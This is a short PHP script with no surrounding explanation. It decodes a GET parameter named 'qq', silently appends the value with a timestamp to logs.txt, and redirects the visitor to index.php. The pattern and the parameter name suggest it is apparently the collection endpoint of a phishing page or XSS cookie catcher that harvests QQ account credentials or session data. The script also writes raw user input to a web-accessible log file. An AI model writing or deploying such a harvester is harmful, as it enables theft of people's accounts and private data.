<?php
function unescape($str)
{
    $str = rawurldecode($str);
    preg_match_all("/%u.{4}|&#x.{4};|&#\d+;|.+/U", $str, $r);
    
    $ar = $r[0];
    
    foreach ($ar as $k => $v) {
        if (substr($v, 0, 2) == "%u")
            $ar[$k] = iconv("UCS-2", "GBK", pack("H4", substr($v, -4)));
        elseif (substr($v, 0, 3) == "&#x")
            $ar[$k] = iconv("UCS-2", "GBK", pack("H4", substr($v, 3, -1)));
        elseif (substr($v, 0, 2) == "&#") {
            $ar[$k] = iconv("UCS-2", "GBK", pack("n", substr($v, 2, -1)));
        }
    }
    return join("", $ar);
}

$filename = "logs.txt";
$handle   = fopen($filename, "a+");
$str      = fwrite($handle, unescape($_GET["qq"]) . date("Y.m.d.") . date("h:i:sa") . "\n");
fclose($handle);

$url = "index.php";
header('location:' . $url);
?>